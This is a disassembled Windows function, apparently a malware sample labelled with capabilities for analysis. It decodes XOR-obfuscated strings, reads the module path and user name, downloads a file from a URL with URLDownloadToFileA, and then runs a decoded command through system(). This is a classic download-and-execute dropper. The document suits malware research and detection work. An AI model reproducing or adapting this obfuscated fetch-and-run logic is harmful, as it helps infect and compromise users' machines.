Function at 0x14005df80
Capabilities:
Download url
Execute command
Get session user name
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x640
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400ec080]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
xor r12d, r12d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x94c33dd23d819a33
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xae65f91435c32cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xf0a252be53f6f577
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs r13, 0xae671bf6d3b5ca4
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
call fcn.140005f10
lea rdx, [0x140006100]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0x4d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a0], r12
lea rax, [rbp + 0x4d0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14005e0a0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x188]
call fcn.1400063a0
nop
mov rsi, qword [rbp + 0x198]
lea rbx, [rbp + 0x188]
mov r14, qword [rbp + 0x188]
mov r15, qword [rbp + 0x1a0]
cmp r15, 0xf
cmova rbx, r14
test rsi, rsi
je 0x14005e172
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
mov dword [rbp + 0x248], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x24d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x24c], 1
lea rax, [rsi - 1]
mov rcx, rdi
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x1f0], 0
jne 0x14005e16d
cmp rcx, rbx
je 0x14005e172
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x1f0], 0
je 0x14005e158
sub rcx, rbx
jmp 0x14005e175
mov rcx, rdi
inc rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
xor ebx, ebx
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], rbx
cmp rsi, rcx
jb 0x14005ed24
mov rax, rsi
sub rax, rcx
cmp rax, rsi
cmovb rsi, rax
lea rdx, [rbp + 0x188]
cmp r15, 0xf
cmova rdx, r14
add rdx, rcx
mov r8, rsi
lea rcx, [rbp + 0x1a8]
call fcn.1400063a0
nop
mov dword [rbp + 0x160], 0x101
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
lea rax, [rbp + 0x3c0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005e210
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1c8]
call fcn.1400063a0
nop
movabs rax, 0xdf8d68cd2382811f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x629218d8434c3dd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xdb6af3293a25fdac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xef9727e1cb8fadc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xaa132c645633e4d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x431df82674ac0aed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xd6f1ff598dc16589
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xb3b1832dea7aa237
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xddc946663582207a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rcx, 0x9ef37d271056caec
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xf0a252be53f6f577
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xb409814c49509fd9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x80f40995a5ead9ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xd27c4022247ecbbb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x2d728a4307836e88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xa5de9130ecac4afd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xcbd4ad598415d052
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xddc946663582201f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x100]
vxorps xmm0, xmm0, xmmword [rbp + 0x3a0]
vmovdqa xmmword [rbp + 0x100], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rbx
lea rax, [rbp + 0xc0]
mov r8, rdi
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005e480
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x140]
call fcn.1400063a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
xor r8d, r8d
lea rdx, [0x1400d2909]
lea rcx, [rbp + 0x28]
call fcn.1400063a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rbx
mov r8d, 1
lea rdx, reloc.WS2_32.dll_ioctlsocket
lea rcx, [rbp + 8]
call fcn.1400063a0
nop
lea r14, [rbp + 8]
mov rcx, qword [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova r14, rcx
lea r15, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova r15, qword [rbp + 0x140]
mov rsi, qword [rbp + 0x18]
mov rax, qword [rbp + 0x150]
cmp rsi, rax
ja 0x14005e5ba
sub rax, rsi
test rsi, rsi
je 0x14005e58b
lea r12, [r15 + rax]
movsx r13d, byte [r14]
lea r8, [r12 + 1]
sub r8, r15
mov edx, r13d
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14005e5b4
nop
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14005e582
inc rbx
lea r8, [r12 + 1]
sub r8, rbx
mov edx, r13d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x14005e550
jmp 0x14005e5b4
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x14005e5b4
lea r9, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova r9, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
mov qword [rsp + 0x20], rax
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 0x140]
call fcn.14005f250
xor ebx, ebx
mov rcx, qword [rbp + 8]
mov rax, qword [rbp + 0x20]
cmp rax, 0xf
jbe 0x14005e5f5
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e5f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e5f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14005e640
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e63b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eb05
call fcn.1400c097c
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
movabs rax, 0x958c26d03c849004
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xae671bf6d3b39dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xf0a252be53f6f577
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0xae671bf6d3b5ca4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rbx
mov qword [rbp + 0x180], rbx
lea rax, [rbp + 0x70]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005e6e0
mov r8, rdi
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x168]
call fcn.1400063a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], rbx
xor r8d, r8d
lea rdx, [0x1400d2909]
lea rcx, [rbp + 0x48]
call fcn.1400063a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rbx
mov r8d, 1
lea rdx, reloc.WS2_32.dll_ioctlsocket
lea rcx, [rbp + 0x80]
call fcn.1400063a0
nop
lea rsi, [rbp + 0x80]
mov r13, qword [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rsi, r13
lea r14, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova r14, qword [rbp + 0x168]
mov rdi, qword [rbp + 0x90]
mov rax, qword [rbp + 0x178]
cmp rdi, rax
ja 0x14005e835
sub rax, rdi
test rdi, rdi
je 0x14005e80a
lea r15, [r14 + rax]
movsx r12d, byte [rsi]
lea r8, [r15 + 1]
sub r8, r14
mov edx, r12d
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14005e833
nop dword [rax]
nop dword [rax + rax]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14005e801
inc rbx
lea r8, [r15 + 1]
sub r8, rbx
mov edx, r12d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x14005e7d0
jmp 0x14005e833
sub rbx, r14
cmp rbx, 0xffffffffffffffff
je 0x14005e833
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova r9, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x168]
call fcn.14005f250
xor ebx, ebx
mov rax, qword [rbp + 0x98]
cmp rax, 0xf
jbe 0x14005e876
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14005e86e
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e86e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.1400c097c
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14005e8ca
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e8c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eaa8
call fcn.1400c097c
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
lea r14, [rbp + 0x1a8]
mov rsi, qword [rbp + 0x1a8]
mov r15, qword [rbp + 0x1c0]
cmp r15, 0xf
cmova r14, rsi
movabs rbx, 0x7fffffffffffffff
mov rdi, qword [rbp + 0x1b8]
cmp rdi, rbx
ja 0x14005ed2a
cmp rdi, 0xf
ja 0x14005e955
mov qword [rbp + 0x130], rdi
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x138], rax
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x120], xmm0
xor r12d, r12d
jmp 0x14005ea0a
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14005e99f
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c0700
mov rcx, rax
test rax, rax
je 0x14005eaa8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
xor r12d, r12d
jmp 0x14005e9df
mov rbx, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005e9ca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005ed1e
jmp 0x14005e97a
test rcx, rcx
je 0x14005e9d9
call fcn.1400c0700
xor r12d, r12d
jmp 0x14005e9df
xor r12d, r12d
mov eax, r12d
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x138]
lea r8, [rbp + 0x120]
cmp rax, 0xf
cmova r8, qword [rbp + 0x120]
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rcx, qword [rbp + 0x120]
lea rdx, [rbp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14005ec7b
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14005eab4
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eaaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eaaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x14005eb11
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eb0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14005eb6e
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eb69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x14005ebcc
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ebc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ebc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
nop
cmp r15, 0xf
jbe 0x14005ec07
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14005ebfe
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ebfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400c097c
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x14005ec4b
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ec46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ec46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c097c
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400c06e0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf0a252be53859914
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rcx, 0xae671bf6d3b5ca4
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xf0a252be53f6f577
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x120]
call fcn.140005490
mov rcx, rax
call fcn.14005dec0
call fcn.14005b530
nop
call fcn.140001a40
nop
call fcn.140005ce0
nop
call fcn.140001ae0
int3